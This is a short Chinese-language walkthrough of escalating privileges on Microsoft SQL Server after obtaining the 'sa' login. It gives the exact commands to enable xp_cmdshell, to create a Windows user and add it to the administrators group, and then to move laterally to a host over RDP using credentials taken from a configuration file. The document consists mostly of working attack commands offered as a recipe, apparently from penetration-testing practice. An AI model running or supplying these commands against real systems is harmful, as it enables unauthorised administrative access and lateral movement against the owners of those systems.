1、漏洞发现

当拿到sa的权限后,开始提权
2、sa连接:查询–新建查询
查看版本,看是否符合提权条件:
SELECT @@VERSION

3、开启xp_cmdshell,利用 xp_cmdshell 添加系统账号
启动xp_cmdshell
(一条一条执行)
exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'xp_cmdshell',1;
reconfigure;

4、添加用户、提升到管理员组(提权):
exec xp_cmdshell 'net user username pwd@888 /add'
exec xp_cmdshell 'net localgroup administrators username /add'
exec xp_cmdshell 'net user'

添加管理员成功

5、横向渗透
从config/database.properties配置文件找到192.168.20.36 RDP的账号和密码


成功登录远程桌面
